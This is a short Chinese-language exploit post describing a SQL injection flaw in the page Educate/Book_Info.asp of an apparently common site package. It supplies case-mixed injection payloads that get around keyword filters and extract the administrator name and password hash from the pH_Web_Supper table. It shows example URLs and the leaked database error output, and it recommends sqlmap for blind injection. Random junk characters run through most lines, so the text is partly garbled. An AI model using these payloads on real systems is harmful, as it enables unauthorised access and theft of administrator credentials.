漏洞出现在Educate/Book_Info.asp
! Q6 t5 ]2 v" g4 X+ H' N: d 2 ~6 V1 |) E8 v! h. E7 `
此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出$ k. @3 s% X% C% @7 e' T- a
/ Y9 t8 V. ^8 {: K; @- ?
exp:如下
; ]& o, G# G4 `& D% N1 K0 Y# X, E查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
* [" d. _/ v/ X" N) R查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
( C# J2 F% B( @, p
" e; R8 j0 j: I2 l/ w7 {! Fhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
% n/ S, _+ u9 e" ^ K 4 V# y3 E+ J3 _
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'4 i& d4 ~& Q' a4 Y1 i" s
4 C# \. h& S. o r+ x
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。2 o/ o( k5 M. _0 F' G4 s) p, u
) s, D% g5 `9 a1 A
/Educate/Book_Info.asp,行 8
; ]8 R {6 t6 L8 U4 K7 b) p
2 U5 `# S" k: Y5 N6 G q/ Xhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)" k& \" t, o" j0 ~; U
; C X; G+ M/ ?( ~Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
' t! j8 x% j \5 F" l
( O6 h S' e7 J _将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
; Z9 G1 L8 p& h" A- [8 F' k6 F/ [ ' r3 l3 |) {" P( F7 ^9 u) |
/Educate/Book_Info.asp,行 8
! c. o/ V p$ g0 ^' y( \% m |